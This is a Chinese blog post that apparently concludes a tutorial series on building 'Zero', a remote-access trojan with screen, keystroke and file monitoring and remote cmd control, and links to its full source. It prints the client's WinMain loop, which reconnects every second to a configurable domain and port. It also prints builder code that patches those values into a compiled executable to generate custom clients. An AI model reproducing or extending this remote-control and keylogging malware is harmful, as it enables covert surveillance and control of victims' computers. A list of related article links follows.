從零開始做遠控 完滿結束 釋出完整原始碼及已編譯好的程式
如果你從沒看過這系列教程請點選:從零開始做遠控 簡介篇
完整程式碼下載:
1.Zero遠控完整程式碼及已編譯好的程式下載(VC版客戶端,QT版客戶端,QT版伺服器)
github完整原始碼:
https://github.com/joliph/ZeroNet
總結篇
經過了一個禮拜的工作,我們的Zero遠控終於完成了,麻雀雖小,但功能齊全,完美實現了:“螢幕監控,鍵盤監控,檔案監控,Cmd命令控制”。
你在學習Zero遠控的開發過程當中,你會更加鞏固你對"TCP網路,多執行緒,Win32 API,Qt,c++語言"的運用。
在服務端生成客戶端,特點是自定義域名和埠,不用每次更改埠就編譯一次客戶端:
1.修改客戶端的main.cpp檔案,讓服務端建立客戶端時能自定域名和埠
#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include "zeroclient.h"
#include "cmdspy.h"
// 在服務端建立客戶端時,可以自定義客戶端連向的域名和埠
int gOffsetDomain = 10;
char gDomain[100] = "DNSDNSDNS:127.0.0.1 ";
int gOffsetPort = 13;
char gPort[100] = "PORTPORTPORT:18000 ";
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// 檢查視窗是否有重複
char szFile[MAX_PATH],*szPt;
GetModuleFileNameA(NULL,szFile,MAX_PATH);
szPt = szFile + strlen(szFile);
while(*--szPt != '\\') ;
CreateMutexA(NULL,FALSE,szPt + 1);
if(GetLastError() == ERROR_ALREADY_EXISTS) {
std::cout << "Same program already running" << std::endl;
return -1;
}
// 初始化Windows socket功能,要在Windows使用網路必須初始化這個
WSAData wsaData;
if (WSAStartup(MAKEWORD(2,1), &wsaData)) {
std::cout << "Failed to initialize WSA" << std::endl;
return -1;
}
// 主迴圈
ZeroClient client;
client.hInst = hInstance;
while (1) {
// 如果斷開了,隔一秒自動連線
char domain[100] = {0};
char *domainStartPos = (char*)gDomain+gOffsetDomain;
char *domainStopPos = strchr(domainStartPos, ' ');
memcpy(domain, domainStartPos, domainStopPos-domainStartPos);
client.connectTo(domain, atoi(gPort+gOffsetPort));
Sleep(1000);
}
// 程式完結後釋放WSA
WSACleanup();
return 0;
}
2.把編譯好的釋出版本客戶端放到服務端的目錄。
3.修改服務端的Widget::CreateClient()函式
void Widget::createClient()
{
// 讀取ZeroClient.exe檔案
const QString fileName = "ZeroClient.exe";
QFile file(fileName);
if (!file.exists()) {
QMessageBox::warning(this, "提示","請將編譯好的ZeroClient.exe放到本程式的目錄下");
return;
}
// 獲取儲存客戶端的位置
QString saveFileName = QFileDialog::getSaveFileName(this, "儲存自定義客戶端",
QDir::current().absoluteFilePath("Release_ZeroClient.exe"),"應用程式(*.exe)",
0, QFileDialog::ShowDirsOnly);
if (saveFileName.size() <= 0) {
return;
}
// 開啟ZeroClient.exe
if (!file.open(QFile::ReadOnly)) {
QMessageBox::warning(this, "提示","無法開啟ZeroClient.exe");
return;
}
QByteArray fileData = file.readAll();
// 關閉檔案
file.close();
// 自定義客戶端的連向的域名和埠
const int offsetDomain = 10;
const char domain[100] = "DNSDNSDNS:\0";
const int offsetPort = 13;
const char port[100] = "PORTPORTPORT:\0";
// 自定義域名
int domainPos = fileData.indexOf(domain);
if (domainPos == -1) {
QMessageBox::warning(this, "提示","無法建立客戶端,因為無法找到\'DNSDNSDNS:\'的位置");
return;
}
domainPos += offsetDomain;
QByteArray afterDomain;
afterDomain.append(mEditDomain->text()+" ");
fileData.replace(domainPos, afterDomain.size(), afterDomain);
// 自定義埠
int portPos = fileData.indexOf(port);
if (portPos == -1) {
QMessageBox::warning(this, "提示","無法建立客戶端,因為無法找到\'PORTPORTPORT:\'的位置");
return;
}
portPos += offsetPort;
QByteArray afterPort;
afterPort.append(mEditPort->text()+" ");
fileData.replace(portPos, afterPort.size(), afterPort);
// 儲存檔案
QFile saveFile(saveFileName);
if (!saveFile.open(QFile::WriteOnly)) {
QMessageBox::warning(this, "提示","無法開啟"+saveFileName);
return;
}
saveFile.write(fileData.data(), fileData.size());
saveFile.flush();
saveFile.close();
}
總結:
這個小課程已經圓滿結束,謝謝大家的支援,希望以後能為大家帶來更多更好的程式碼。
相關文章
- 如何學習 PHP 原始碼 – 從編譯開始PHP原始碼編譯
- 從零開始學typescript— 自動編譯TypeScript編譯
- 如何從零開始用PyTorch實現Chatbot?(附完整程式碼)PyTorch
- 從零開始編寫指令碼引擎指令碼
- APENFT Marketplace釋出會圓滿結束
- webpack 從開始到結束Web
- 工程管理系列之----從零開始搭建git伺服器,及程式碼同步完整版Git伺服器
- Linux中程式包管理及程式的原始碼編譯Linux原始碼編譯
- 從零開始學習如何部署程式碼
- 從零開始:開發一款應用程式的完整流程技巧
- 【408】21考研已結束,新的征程即將開始
- TDengine 3.0 重磅釋出,首屆開發者大會圓滿結束
- ? es6 + canvas 開源 蓋樓小遊戲 完整程式碼註釋 從零教你做遊戲(一)Canvas遊戲
- 從零開始做Vue前端架構(9)Vue前端架構
- 從零開始釋出一個ArcGIS Server地圖服務Server地圖
- springboot 程序已結束,退出程式碼為 0Spring Boot
- 從零開始仿寫一個BiliBili客戶端之編譯ijkplayer客戶端編譯
- werkzeug原始碼分析——從官網的示例程式碼開始原始碼
- openssl原始碼編譯及配置方法原始碼編譯
- 從零開始做Vue前端架構(6)單元測試 & 程式碼覆蓋率Vue前端架構
- 掘金開源庫翻譯招募譯者啦(活動已結束)
- 從零開始
- 程式碼線上編譯器(上)- 編輯及編譯編譯
- 解密Vuex: 從原始碼開始解密Vue原始碼
- 從零開始學習Git--遠端倉庫Git
- 不怕從零開始,只怕從未開始!
- 從零開始-打造一個JavaScript完整線上教程文件JavaScript
- 從零開始編寫一個babel外掛Babel
- 從零開始-基礎流程圖編輯庫流程圖
- 從程式中傳遞開始日期與結束日期至儲存過程儲存過程
- 併發程式設計從入門到放棄系列開始和結束程式設計
- PowerApps零程式碼開發面向企業業務問題的解決方案首期研討會圓滿結束APP
- 閱讀原始碼,從ArrayList開始原始碼
- 透過 GitHub Actions 實現程式碼的自動編譯和釋出Github編譯
- uni-app 小程式從零開始的開發流程APP
- Redux 原始碼解讀 —— 從原始碼開始學 ReduxRedux原始碼
- 遠控介紹及介面編寫
- 好程式設計師Python教程從零開始學Python系列-第2講程式設計師Python
- 用PyTorch從零開始編寫DeepSeek-V2PyTorch